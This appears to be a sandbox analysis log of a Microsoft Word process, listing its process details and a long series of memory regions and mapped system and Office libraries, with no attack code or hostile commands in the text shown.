# Flog Txt Version 1 # Analyzer Version: 4.6.0 # Analyzer Build Date: Jul 8 2022 06:26:21 # Log Creation Date: 11.08.2022 16:48:50.517 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files (x86)\\microsoft office\\office16\\winword.exe" page_root = "0x37bf9000" os_pid = "0x10e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7b4" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE\" /n" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 259 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 260 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 261 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 262 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 263 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 264 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 265 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 266 start_va = 0x1b0000 end_va = 0x1b3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 267 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 268 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 269 start_va = 0x1e0000 end_va = 0x1e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 270 start_va = 0x1f0000 end_va = 0x1f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 271 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 272 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 273 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 274 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 275 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 276 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 277 start_va = 0x530000 end_va = 0x531fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 278 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 279 start_va = 0x550000 end_va = 0x551fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 280 start_va = 0x560000 end_va = 0x561fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 281 start_va = 0x570000 end_va = 0x571fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 282 start_va = 0x580000 end_va = 0x581fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 283 start_va = 0x590000 end_va = 0x591fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 284 start_va = 0x5a0000 end_va = 0x5a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 285 start_va = 0x5b0000 end_va = 0x5b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 286 start_va = 0x5c0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 287 start_va = 0x6c0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 288 start_va = 0x7c0000 end_va = 0x7c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll") Region: id = 289 start_va = 0x7d0000 end_va = 0x7dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui") Region: id = 290 start_va = 0x7e0000 end_va = 0x7eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 291 start_va = 0x7f0000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 292 start_va = 0x800000 end_va = 0x803fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 293 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 294 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 295 start_va = 0x870000 end_va = 0x9f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 296 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 297 start_va = 0xb90000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 298 start_va = 0xc10000 end_va = 0xde7fff monitored = 0 entry_point = 0xc11000 region_type = mapped_file name = "winword.exe" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\winword.exe") Region: id = 299 start_va = 0xdf0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 300 start_va = 0x21f0000 end_va = 0x2298fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wwintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\1033\\wwintl.dll") Region: id = 301 start_va = 0x22a0000 end_va = 0x22cdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022a0000" filename = "" Region: id = 302 start_va = 0x22d0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 303 start_va = 0x22f0000 end_va = 0x24a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 304 start_va = 0x24b0000 end_va = 0x27b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso40uires.dll") Region: id = 305 start_va = 0x27c0000 end_va = 0x30e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso99lres.dll") Region: id = 306 start_va = 0x30f0000 end_va = 0x7f2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msores.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\msores.dll") Region: id = 307 start_va = 0x7f30000 end_va = 0x80a4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 308 start_va = 0x8120000 end_va = 0x815ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008120000" filename = "" Region: id = 309 start_va = 0x8160000 end_va = 0x8160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008160000" filename = "" Region: id = 310 start_va = 0x8170000 end_va = 0x826ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008170000" filename = "" Region: id = 311 start_va = 0x82e0000 end_va = 0x8616fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 312 start_va = 0x8620000 end_va = 0x871ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008620000" filename = "" Region: id = 313 start_va = 0x8720000 end_va = 0x8720fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008720000" filename = "" Region: id = 314 start_va = 0x8730000 end_va = 0x8730fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008730000" filename = "" Region: id = 315 start_va = 0x8740000 end_va = 0x877ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008740000" filename = "" Region: id = 316 start_va = 0x8780000 end_va = 0x887ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008780000" filename = "" Region: id = 317 start_va = 0x8880000 end_va = 0x897ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008880000" filename = "" Region: id = 318 start_va = 0x8980000 end_va = 0x8980fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008980000" filename = "" Region: id = 319 start_va = 0x8990000 end_va = 0x8990fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008990000" filename = "" Region: id = 320 start_va = 0x89a0000 end_va = 0x89dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089a0000" filename = "" Region: id = 321 start_va = 0x89e0000 end_va = 0x8adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089e0000" filename = "" Region: id = 322 start_va = 0x8ae0000 end_va = 0x8b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008ae0000" filename = "" Region: id = 323 start_va = 0x8b20000 end_va = 0x8c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008b20000" filename = "" Region: id = 324 start_va = 0x8c20000 end_va = 0x8c68fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-system.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-system.dat") Region: id = 325 start_va = 0x8c70000 end_va = 0x8d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c70000" filename = "" Region: id = 326 start_va = 0x8d70000 end_va = 0x956ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-s-1-5-21-1560258661-3990802383-1811730007-1000.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-S-1-5-21-1560258661-3990802383-1811730007-1000.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-s-1-5-21-1560258661-3990802383-1811730007-1000.dat") Region: id = 327 start_va = 0x9570000 end_va = 0x996ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009570000" filename = "" Region: id = 328 start_va = 0x9970000 end_va = 0x9a2bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009970000" filename = "" Region: id = 329 start_va = 0x9a30000 end_va = 0x9a33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009a30000" filename = "" Region: id = 330 start_va = 0x9a40000 end_va = 0x9f31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009a40000" filename = "" Region: id = 331 start_va = 0x9f40000 end_va = 0x9f40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f40000" filename = "" Region: id = 332 start_va = 0x9f50000 end_va = 0x9f50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f50000" filename = "" Region: id = 333 start_va = 0x9f60000 end_va = 0x9f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f60000" filename = "" Region: id = 334 start_va = 0x9fa0000 end_va = 0xa09ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009fa0000" filename = "" Region: id = 335 start_va = 0xa0a0000 end_va = 0xa0a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a0a0000" filename = "" Region: id = 336 start_va = 0xa0b0000 end_va = 0xa0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a0b0000" filename = "" Region: id = 337 start_va = 0xa0f0000 end_va = 0xa1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a0f0000" filename = "" Region: id = 338 start_va = 0xa1f0000 end_va = 0xa1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a1f0000" filename = "" Region: id = 339 start_va = 0xa200000 end_va = 0xa23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a200000" filename = "" Region: id = 340 start_va = 0xa240000 end_va = 0xa243fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a240000" filename = "" Region: id = 341 start_va = 0xa250000 end_va = 0xa28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a250000" filename = "" Region: id = 342 start_va = 0xa290000 end_va = 0xa290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a290000" filename = "" Region: id = 343 start_va = 0xa2a0000 end_va = 0xa2a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a2a0000" filename = "" Region: id = 344 start_va = 0xa2b0000 end_va = 0xa2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a2b0000" filename = "" Region: id = 345 start_va = 0xa2c0000 end_va = 0xa3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a2c0000" filename = "" Region: id = 346 start_va = 0xa3c0000 end_va = 0xa3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3c0000" filename = "" Region: id = 347 start_va = 0xa400000 end_va = 0xa43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a400000" filename = "" Region: id = 348 start_va = 0xa440000 end_va = 0xa47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a440000" filename = "" Region: id = 349 start_va = 0xa480000 end_va = 0xa484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 350 start_va = 0xa490000 end_va = 0xa490fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a490000" filename = "" Region: id = 351 start_va = 0xa4a0000 end_va = 0xa4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a4a0000" filename = "" Region: id = 352 start_va = 0xa4b0000 end_va = 0xacaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a4b0000" filename = "" Region: id = 353 start_va = 0xacb0000 end_va = 0xadaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000acb0000" filename = "" Region: id = 354 start_va = 0xadb0000 end_va = 0xaeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000adb0000" filename = "" Region: id = 355 start_va = 0xaeb0000 end_va = 0xafaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000aeb0000" filename = "" Region: id = 356 start_va = 0xafb0000 end_va = 0xb0affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000afb0000" filename = "" Region: id = 357 start_va = 0xb0b0000 end_va = 0xb0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0b0000" filename = "" Region: id = 358 start_va = 0xb0f0000 end_va = 0xb1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0f0000" filename = "" Region: id = 359 start_va = 0xb1f0000 end_va = 0xb3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1f0000" filename = "" Region: id = 360 start_va = 0xb3f0000 end_va = 0xb46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b3f0000" filename = "" Region: id = 361 start_va = 0xb470000 end_va = 0xb470fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\SysWOW64\\msxml6r.dll" (normalized: "c:\\windows\\syswow64\\msxml6r.dll") Region: id = 362 start_va = 0xb480000 end_va = 0xb493fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 363 start_va = 0xb4a0000 end_va = 0xb4a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b4a0000" filename = "" Region: id = 364 start_va = 0xb4b0000 end_va = 0xb58ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 365 start_va = 0xb590000 end_va = 0xb593fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b590000" filename = "" Region: id = 366 start_va = 0xb5a0000 end_va = 0xb5a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b5a0000" filename = "" Region: id = 367 start_va = 0xb5b0000 end_va = 0xb5b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b5b0000" filename = "" Region: id = 368 start_va = 0xb5c0000 end_va = 0xb5c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b5c0000" filename = "" Region: id = 369 start_va = 0xb5d0000 end_va = 0xb5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b5d0000" filename = "" Region: id = 370 start_va = 0xb720000 end_va = 0xc71ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-fontface.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-fontface.dat") Region: id = 371 start_va = 0xc720000 end_va = 0xc7fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 372 start_va = 0xc800000 end_va = 0xcbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c800000" filename = "" Region: id = 373 start_va = 0xcc00000 end_va = 0xcc41fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "d2d1.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\d2d1.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\d2d1.dll.mui") Region: id = 374 start_va = 0xcc50000 end_va = 0xcd25fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000cc50000" filename = "" Region: id = 375 start_va = 0xcd30000 end_va = 0xce05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000cd30000" filename = "" Region: id = 376 start_va = 0xce10000 end_va = 0xce2efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ce10000" filename = "" Region: id = 377 start_va = 0xce30000 end_va = 0xce4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ce30000" filename = "" Region: id = 378 start_va = 0xd130000 end_va = 0xd13ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000d130000" filename = "" Region: id = 379 start_va = 0xd140000 end_va = 0xd14ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000d140000" filename = "" Region: id = 380 start_va = 0xd150000 end_va = 0xd15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000d150000" filename = "" Region: id = 381 start_va = 0xd160000 end_va = 0xd563fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d160000" filename = "" Region: id = 382 start_va = 0xd570000 end_va = 0xd97dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d570000" filename = "" Region: id = 383 start_va = 0xd980000 end_va = 0xdd87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d980000" filename = "" Region: id = 384 start_va = 0xdda0000 end_va = 0xde1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000dda0000" filename = "" Region: id = 385 start_va = 0xde20000 end_va = 0xde30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 386 start_va = 0xde40000 end_va = 0xee7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 387 start_va = 0xee80000 end_va = 0xf35dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ee80000" filename = "" Region: id = 388 start_va = 0x34400000 end_va = 0x3440ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000034400000" filename = "" Region: id = 389 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 390 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 391 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 392 start_va = 0x69660000 end_va = 0x69682fff monitored = 0 entry_point = 0x696769b0 region_type = mapped_file name = "globinputhost.dll" filename = "\\Windows\\SysWOW64\\globinputhost.dll" (normalized: "c:\\windows\\syswow64\\globinputhost.dll") Region: id = 393 start_va = 0x69690000 end_va = 0x696e1fff monitored = 0 entry_point = 0x696b8290 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\SysWOW64\\BCP47Langs.dll" (normalized: "c:\\windows\\syswow64\\bcp47langs.dll") Region: id = 394 start_va = 0x696f0000 end_va = 0x69821fff monitored = 0 entry_point = 0x6975bf60 region_type = mapped_file name = "windows.globalization.dll" filename = "\\Windows\\SysWOW64\\Windows.Globalization.dll" (normalized: "c:\\windows\\syswow64\\windows.globalization.dll") Region: id = 395 start_va = 0x69830000 end_va = 0x69845fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 396 start_va = 0x69850000 end_va = 0x69870fff monitored = 0 entry_point = 0x6985bdb0 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\SysWOW64\\cabinet.dll" (normalized: "c:\\windows\\syswow64\\cabinet.dll") Region: id = 397 start_va = 0x69880000 end_va = 0x6a074fff monitored = 0 entry_point = 0x698e5279 region_type = mapped_file name = "chart.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\CHART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\chart.dll") Region: id = 398 start_va = 0x6a080000 end_va = 0x6a112fff monitored = 0 entry_point = 0x6a0a0ec0 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\SysWOW64\\twinapi.dll" (normalized: "c:\\windows\\syswow64\\twinapi.dll") Region: id = 399 start_va = 0x6a120000 end_va = 0x6a30efff monitored = 0 entry_point = 0x6a165e20 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\SysWOW64\\msxml6.dll" (normalized: "c:\\windows\\syswow64\\msxml6.dll") Region: id = 400 start_va = 0x6a310000 end_va = 0x6a376fff monitored = 0 entry_point = 0x6a325a00 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 401 start_va = 0x6a380000 end_va = 0x6a388fff monitored = 0 entry_point = 0x6a383830 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 402 start_va = 0x6a390000 end_va = 0x6a3c3fff monitored = 0 entry_point = 0x6a3a8280 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 403 start_va = 0x6a3d0000 end_va = 0x6a571fff monitored = 0 entry_point = 0x6a3d1000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\riched20.dll") Region: id = 404 start_va = 0x6a580000 end_va = 0x6a587fff monitored = 0 entry_point = 0x6a5817b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 405 start_va = 0x6a590000 end_va = 0x6a60cfff monitored = 0 entry_point = 0x6a5a0db0 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 406 start_va = 0x6a610000 end_va = 0x6a668fff monitored = 0 entry_point = 0x6a620780 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 407 start_va = 0x6a670000 end_va = 0x6a7e2fff monitored = 0 entry_point = 0x6a71d220 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 408 start_va = 0x6a7f0000 end_va = 0x6a84bfff monitored = 0 entry_point = 0x6a7f8880 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\SysWOW64\\d3d10_1core.dll" (normalized: 